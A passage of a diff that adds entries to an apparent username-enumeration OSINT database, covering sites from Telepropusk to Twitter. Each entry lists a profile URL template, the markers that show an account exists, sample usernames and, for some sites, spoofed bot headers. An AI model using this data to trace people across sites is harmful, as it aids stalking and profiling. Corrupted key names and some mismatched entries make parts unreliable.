"" + }, + "Telepropusk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://telepropusk.ru/forums/users/{}/", + "urlMain": "https://telepropusk.ru", + "usernameON": "telepropusk", + "bad_site": "" + }, + "Teletype": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://teletype.in/@{}", + "urlMain": "https://teletype.in", + "usernameON": "adam", + "bad_site": "" + }, + "Television_linternaute": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://television.linternaute.com/profile/user/{}", + "urlMain": "https://television.linternaute.com", + "usernameON": "Radinoz", + "bad_site": "" + }, + "Tellonym": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tellonym.me/{}", + "urlMain": "https://tellonym.me/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Tenchat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tenchat.ru/{}", + "urlMain": "https://tenchat.ru", + "usernameON": "agreec", + "bad_site": "" + }, + "Teplak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "Теплый Стан :: ", + "errorMsg3": "Извините,", + "errorTyp��": "message", + "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}", + "urlMain": "http://www.teplak.ru", + "usernameON": "Lexa", + "comments": "zamedlenie", + "bad_site": 1 + }, + "Terminator": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://terminator-scc.net.ru/index/8-0-{}", + "urlMain": "http://terminator-scc.net.ru", + "usernameON": "red", + "bad_site": "" + }, + "Terminatorium": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://terminatorium.borda.ru/?32-{}", + "urlMain": "https://terminatorium.borda.ru/", + "usernameON": "tengu", + "bad_site": "" + }, + "Termoshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://termoshop.ru/", + "usernameON": "yurez", + "bad_site": "" + }, + "Test_pypi": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "page\":0,\"totalMatches\":0", + "errorMsg2": "results\":[]", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://test.pypi.org/user/{}/", + "urlMain": "https://test.pypi.org", + "usernameON": "samsja", + "urlProbe": "https://deps.dev/_/search?q={}&system=PYPI&page=0&perPage=20", + "bad_site": "" + }, + "Tetongravity": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Please wait", + "errorMsg2": "This user has not registered and therefore does not have a profile to view", + "errorTyp��": "message", + "url": "https://www.tetongravity.com/forums/member.php/?username={}", + "urlMain": "https://www.tetongravity.com", + "usernameON": "RoooR", + "bad_site": "" + }, + "Texasguntalk": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.texasguntalk.com/members/?username={}", + "urlMain": "https://www.texasguntalk.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thaicat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.thaicat.ru/index/8-0-{}", + "urlMain": "http://www.thaicat.ru", + "usernameON": "SparcO", + "bad_site": "" + }, + "Theanswerbank": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Welcome to the AnswerBank", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.theanswerbank.co.uk/members/{}", + "urlMain": "https://www.theanswerbank.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thebeautybrains": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://thebeautybrains.com/users/{}/", + "urlMain": "https://thebeautybrains.com", + "usernameON": "randys", + "bad_site": "" + }, + "Thebigboss": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://thebigboss.org/author/{}", + "urlMain": "http://thebigboss.org", + "usernameON": "adam", + "bad_site": "" + }, + "Thechessforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page Not Found", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://thechessforum.com/profile/{}/", + "urlMain": "https://thechessforum.com", + "usernameON": "menaalkhan", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Thechive": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://thechive.com/author/{}/", + "urlMain": "https://thechive.com", + "usernameON": "camrybishop", + "bad_site": "" + }, + "THEcommunity": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://thecommunity.ru/user/{}/", + "urlMain": "https://thecommunity.ru", + "usernameON": "pjslot", + "bad_site": "" + }, + "Thefastdiet": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "page doesn", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://thefastdiet.co.uk/forums/users/{}/", + "urlMain": "https://thefastdiet.co.uk", + "usernameON": "fadepeacock", + "bad_site": "" + }, + "Thefastlaneforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://www.thefastlaneforum.com/community/members/?username={}", + "urlMain": "https://www.thefastlaneforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thelion": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "We are sorry but the following error has occurred.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}", + "urlMain": "http://www.thelion.com", + "usernameON": "adam", + "bad_site": "" + }, + "Themeforest": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://themeforest.net/user/{}", + "urlMain": "https://themeforest.net", + "usernameON": "adam", + "bad_site": "" + }, + "Theodysseyonline": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theodysseyonline.com/user/@{}", + "urlMain": "https://www.theodysseyonline.com", + "usernameON": "adam", + "bad_site": "" + }, + "Theoutlander": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://theoutlander.ru/index/8-0-{}", + "urlMain": "http://theoutlander.ru", + "usernameON": "Parma", + "bad_site": "" + }, + "Thephysicsforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "The Physics Forum", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thephysicsforum.com/members/{}.html", + "urlMain": "https://www.thephysicsforum.com", + "usernameON": "andrewc", + "bad_site": "" + }, + "Thesimsresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.thesimsresource.com/artists/{}/", + "urlMain": "https://www.thesimsresource.com/", + "usernameON": "soloriya", + "bad_site": "" + }, + "Thestudentroom": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "NoneNone", + "errorMsg2": "This user has not registered and therefore does not have a profile to view.", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thestudentroom.co.uk/member.php?username={}", + "urlMain": "https://www.thestudentroom.co.uk", + "usernameON": "adam", + "bad_site": "" + }, + "Thevampirediaries": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://thevampirediaries.ru/user/{}/", + "urlMain": "http://thevampirediaries", + "usernameON": "PrestonPauh", + "comments": "no_oplata", + "bad_site": 1 + }, + "Theverge": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.theverge.com/users/{}", + "urlMain": "https://www.theverge.com", + "usernameON": "Patlex", + "bad_site": "" + }, + "Thewatchforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://www.thewatchforum.co.uk/members/?username={}", + "urlMain": "https://www.thewatchforum.co.uk", + "usernameON": "wrench", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Thingiverse": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.thingiverse.com/{}/designs", + "urlMain": "https://www.thingiverse.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Thlaspi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://thlaspi.com/en/user/{}", + "urlMain": "https://thlaspi.com", + "usernameON": "eblinkoff", + "comments": "-t 22 good", + "bad_site": "" + }, + "Threads": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Threads", + "errorMsg2": "| Cloudflare", + "errorMsg3": "content=\"https://www.threads.com/login", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "Priority": "u=1", + "DNT": "1", + "Host": "www.threads.com", + "Connection": "keep-alive", + "Upgrade-Insecure-Requests": "1", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.threads.com/@{}", + "urlMain": "https://www.threads.com", + "usernameON": "adam", + "bad_site": "" + }, + "TikTok": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tiktok.com/@{}?lang=ru-RU", + "urlMain": "https://www.tiktok.com/", + "headers": { + "Accept": "*/*", + "Sec-GPC": "1", + "Connection": "keep-alive", + "Host": "www.tiktok.com", + "User-Agent": "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)" + }, + "usernameON": "red", + "bad_site": "" + }, + "Tildes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tildes.net/user/{}", + "urlMain": "https://tildes.net", + "usernameON": "Palatino", + "bad_site": "" + }, + "Tinder": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Dating, Make Friends &", + "errorMsg2": "заводи друзейТинькофф", + "errorTyp��": "message", + "url": "https://www.tinkoff.ru/invest/social/profile/{}/", + "urlMain": "https://www.tinkoff.ru", + "usernameON": "Usual_user", + "bad_site": "" + }, + "Tjournal_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Мы все внимательно посмотрели, но ничего не нашли :(", + "errorMsg2": "Можно попробовать изменить поисковый запрос или пойти почитать", + "errorTyp��": "message", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}", + "urlMain": "https://tjournal.ru", + "usernameON": "adam", + "bad_site": 1 + }, + "Tkgr": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tkgr.ru/forum/member/{}", + "urlMain": "http://tkgr.ru/", + "usernameON": "siber", + "comments": "zamedlenie", + "bad_site": "" + }, + "Tl": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://tl.net/forum/profile.php?user={}", + "urlMain": "https://tl.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tolyatty": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tolyatty.net/user/{}/", + "urlMain": "http://tolyatty.net", + "usernameON": "derre-red", + "bad_site": 1 + }, + "Tomtom_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://discussions.tomtom.com/en/profile/{}", + "urlMain": "https://discussions.tomtom.com/", + "usernameON": "adam", + "bad_site": 1 + }, + "Toot_mstd": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://toot.cat/@{}", + "urlMain": "https://toot.cat", + "usernameON": "bob", + "bad_site": "" + }, + "Topcheats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topcheats.ucoz.com/index/8-0-{}", + "urlMain": "https://topcheats.ucoz.com", + "usernameON": "sergeizakaz", + "bad_site": "" + }, + "Topdb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Извините, но пользователь не найден", + "errorTyp��": "message", + "url": "https://topdb.ru/{}", + "urlMain": "https://topdb.ru", + "usernameON": "sukaebana2017", + "bad_site": "" + }, + "Topwar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://topwar.ru/user/{}/", + "urlMain": "https://topwar.ru", + "usernameON": "datur", + "bad_site": "" + }, + "Torrent-soft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://torrent-soft.net/user/{}/", + "urlMain": "https://torrent-soft.net", + "usernameON": "Baguvix", + "bad_site": "" + }, + "Totalstavki_CLOSEDEAD": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "[а-яА-Я]", + "url": "https://totalstavki.ru/forum/members/?username={}", + "urlMain": "https://totalstavki.ru", + "usernameON": "turbo", + "bad_site": 1, + "comments": "zakr", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Totseans_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Totseans", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://www.totseans.com/bbs/profile/{}", + "urlMain": "http://www.totseans.com", + "usernameON": "Vizier", + "comments": "RUblock", + "bad_site": 1 + }, + "Tottenhamhotspur": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tottenhamhotspur.ru", + "usernameON": "rusiakos", + "bad_site": "" + }, + "Touristlink": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Members across the World", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.touristlink.com/user/{}", + "urlMain": "https://www.touristlink.com", + "usernameON": "green", + "comments": "Oplata", + "bad_site": 1 + }, + "Tourney": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "colspan=\"4\">", + "errorTyp��": "message", + "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username", + "urlMain": "http://www.tourney.ru", + "usernameON": "Spirit", + "bad_site": "" + }, + "Toxicbun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://toxicbun.com/@{}", + "urlMain": "https://toxicbun.com", + "usernameON": "Mark", + "comments": "bad", + "bad_site": 1 + }, + "Toyster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "toyster.ru форум", + "errorTyp��": "message", + "url": "https://toyster.ru/forum/member.php?username={}", + "urlMain": "https://toyster.ru", + "usernameON": "DEMOH85", + "bad_site": "" + }, + "TrackmaniaLadder": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "player unknown or invalid", + "errorMsg2": "NoneNone", + "errorMsg3": "player unknown or invalid", + "errorTyp��": "message", + "url": "http://en.tm-ladder.com/{}_rech.php", + "urlMain": "http://en.tm-ladder.com/index.php", + "usernameON": "blue", + "comments": "bad", + "bad_site": 1 + }, + "TradingView": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "This isn't the page you're looking for", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.tradingview.com/u/{}/", + "urlMain": "https://www.tradingview.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Trainsim": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Cloudflare", + "errorMsg3": "Just a moment", + "errorTyp��": "message", + "url": "https://www.trainsim.com/vbts/member.php?username={}", + "urlMain": "https://www.trainsim.com/", + "usernameON": "adam", + "comments": "super", + "bad_site": 1 + }, + "Trakt": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.trakt.tv/users/{}", + "urlMain": "https://www.trakt.tv/", + "usernameON": "blue", + "bad_site": "" + }, + "Translatewiki": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://translatewiki.net/wiki/User:{}", + "urlMain": "https://translatewiki.net", + "usernameON": "Adam", + "bad_site": "" + }, + "Tranzilla": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По данному запросу ничего не найдено.", + "errorMsg2": "><div class=\"info_block\"></div><h2>", + "errorMsg3": "Internal Server Error", + "errorTyp��": "message", + "url": "https://tranzilla.ru/search/?request=&search_type=t", + "urlMain": "https://tranzilla.ru", + "usernameON": "irina", + "bad_site": 1 + }, + "Trashbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "div_text_error2", + "errorTyp��": "message", + "url": "https://trashbox.ru/users/{}", + "urlMain": "https://trashbox.ru/", + "usernameON": "blue", + "bad_site": "" + }, + "Travelblog": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.travelblog.org/Bloggers/{}", + "urlMain": "https://www.travelblog.org", + "usernameON": "adam", + "bad_site": "" + }, + "Travelfish": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Private or invalid", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.travelfish.org/member_popup.php?u={}", + "urlMain": "https://www.travelfish.org", + "usernameON": "YeMeansWater", + "bad_site": "" + }, + "Travellerspoint": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.travellerspoint.com/users/{}/", + "urlMain": "https://www.travellerspoint.com", + "usernameON": "blue", + "bad_site": "" + }, + "Travis": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://travis-ci.community/u/{}/summary", + "urlMain": "https://travis-ci.community/", + "usernameON": "montana", + "bad_site": "" + }, + "Trello": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "model not found", + "errorMsg2": "Trello Server Error", + "errorTyp��": "message", + "url": "https://trello.com/{}", + "urlMain": "https://trello.com/", + "urlProbe": "https://trello.com/1/Members/{}", + "usernameON": "blue", + "bad_site": "" + }, + "Trictrac": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "url": "https://www.trictrac.net/mur/{}", + "urlMain": "https://www.trictrac.net", + "usernameON": "entelechie", + "bad_site": "" + }, + "Trilife": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "

", + "errorTyp��": "message", + "url": "https://trilife.ru/search/?q={}&sort=&entity=users&from=&to=", + "urlMain": "https://trilife.ru", + "usernameON": "irina", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trinixy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://trinixy.ru/user/{}/", + "urlMain": "https://trinixy.ru", + "usernameON": "green", + "bad_site": "" + }, + "TripAdvisor": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "(!cancel)", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "url": "https://www.tripadvisor.com/Profile/{}", + "urlMain": "https://www.tripadvisor.com", + "usernameON": "blue", + "bad_site": "" + }, + "Tripline": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripline.net/{}", + "urlMain": "https://www.tripline.net", + "usernameON": "adam", + "bad_site": "" + }, + "Tripoto": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.tripoto.com/profile/{}", + "urlMain": "https://www.tripoto.com", + "usernameON": "kapilpandit", + "bad_site": "" + }, + "Tripster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://tripster.ru/{}/", + "urlMain": "https://tripster.ru", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Trisquel": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://trisquel.info/it/users/{}", + "urlMain": "https://trisquel.info", + "usernameON": "redfox", + "bad_site": "" + }, + "Trp_red": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://www.trp.red/follow/{}", + "urlMain": "https://www.trp.red", + "usernameON": "AlwaysStoic", + "bad_site": "" + }, + "Truckersmp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://truckersmp.ru/{}", + "urlMain": "https://truckersmp.ru", + "usernameON": "RamanBY", + "bad_site": "" + }, + "Trueachievements": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.trueachievements.com/gamer/{}", + "urlMain": "https://www.trueachievements.com", + "usernameON": "metallicafan459", + "bad_site": "" + }, + "Truelancer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This page could not be found.", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://www.truelancer.com/freelancer/{}", + "urlMain": "https://www.truelancer.com", + "usernameON": "adam", + "bad_site": "" + }, + "Truesteamachievements": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "status_code", + "url": "https://truesteamachievements.com/gamer/{}", + "urlMain": "https://truesteamachievements.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Truthbook": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.truthbook.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sk=t&sd=d&sr=posts&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://truthbook.com", + "usernameON": "fanofVan", + "bad_site": "" + }, + "Truthpodium": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://truthpodium.org/@{}", + "urlMain": "https://truthpodium.org", + "usernameON": "Bubba8613", + "bad_site": "" + }, + "Trworkshop": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "http://www.trworkshop.net/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.trworkshop.net", + "usernameON": "eric", + "bad_site": "" + }, + "Ttrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, пользователь не найден", + "errorMsg2": "<title data-react-helmet=\"true\">Тропинки.ру", + "errorTyp��": "message", + "url": "https://ttrails.ru/users/{}", + "urlMain": "https://ttrails.ru", + "usernameON": "danika983", + "bad_site": "" + }, + "Ttsport": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.ttsport.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.ttsport.ru", + "usernameON": "Roos", + "comments": "bad", + "bad_site": "" + }, + "Tula": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://tula.net.ru/user/{}/", + "urlMain": "http://tula.net.ru", + "usernameON": "evgenij", + "bad_site": 1 + }, + "Tulup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Нет записей, удовлетворяющих условиям запроса", + "errorMsg2": "

", + "errorTyp��": "message", + "url": "https://www.tulup.ru/noindex/userlist.php?search={}", + "urlMain": "https://www.tulup.ru", + "usernameON": "Murchik", + "bad_site": "" + }, + "Tumblr": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://{}.tumblr.com/", + "urlMain": "https://tumblr.com/", + "usernameON": "red", + "comments": "cf", + "bad_site": "" + }, + "Tunefind": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "false,\"err\":{\"name", + "errorMsg2": "Tunefind", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.tunefind.com/user/profile/{}", + "urlMain": "https://www.tunefind.com", + "usernameON": "adam", + "comments": "super", + "bad_site": "" + }, + "Turbina": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://turbinatravels.com/authors/{}/", + "urlMain": "https://turbina.ru", + "usernameON": "maklai", + "comments": "bad", + "bad_site": "" + }, + "Turkey-info": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "Пользователей: 0", + "errorTyp��": "message", + "url": "https://turkey-info.ru/forum/memberlist.php?username={}", + "urlMain": "https://turkey-info.ru", + "usernameON": "orduzulu", + "bad_site": "" + }, + "Turpravda": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "https://www.turpravda.ua/profile/{}/", + "urlMain": "https://www.turpravda.ua", + "usernameON": "iryna83", + "bad_site": "" + }, + "Tutor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению, введенный вами адрес недоступен", + "errorMsg2": "dtk-front-nuxt</title", + "errorTyp��": "message", + "url": "https://tutor.ru/tutor/{}", + "urlMain": "https://tutor.ru", + "usernameON": "veronika-vikulova", + "bad_site": 1 + }, + "Tutsplus": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tutsplus.com/authors/{}", + "urlMain": "https://tutsplus.com", + "usernameON": "gigi-sayfan", + "bad_site": "" + }, + "Tv-games": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://tv-games.ru/forum/member.php?username={}", + "urlMain": "http://tv-games.ru/", + "usernameON": "adam", + "bad_site": "" + }, + "TVgab": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "For support, please email", + "errorMsg2": "content=\"black-translucent\"/><link", + "errorMsg3": "user-scalable=no\"}],[\"$\",\"meta\\", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://gab.com/{}", + "urlMain": "https://gab.com/", + "usernameON": "HomerWarren", + "comments": "RUblock", + "bad_site": "" + }, + "Tvtropes": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{}", + "urlMain": "https://tvtropes.org", + "usernameON": "ZheToralf", + "bad_site": "" + }, + "Tw_weibo": { + "country": "🇨🇳", + "country_klas": "CN", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "<!DOCTYPE", + "errorMsg2": "Oops!", + "errorTyp��": "message", + "url": "https://tw.weibo.com/{}", + "urlMain": "https://tw.weibo.com", + "usernameON": "wow36kr", + "comments": "ZAK_user", + "ignore_status_code": true, + "bad_site": 1 + }, + "Twentysix": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://twentysix.ru/profile/{}/created/topics/", + "urlMain": "https://twentysix.ru", + "usernameON": "AleksandrGrigorev", + "bad_site": "" + }, + "Twitch": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-я-А-Я]", + "errorMsg": "g:site_name' content='Twitch'><meta property='og:title' content='T", + "errorMsg2": "<title>Just a moment", + "errorMsg3": "content='@twitch'><link", + "errorTyp��": "message", + "url": "https://www.twitch.tv/{}", + "urlMain": "https://www.twitch.tv/", + "urlProbe": "https://m.twitch.tv/{}", + "usernameON": "adam", + "bad_site": "" + }, + "Twitter": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "invalid_username", + "errorMsg2": 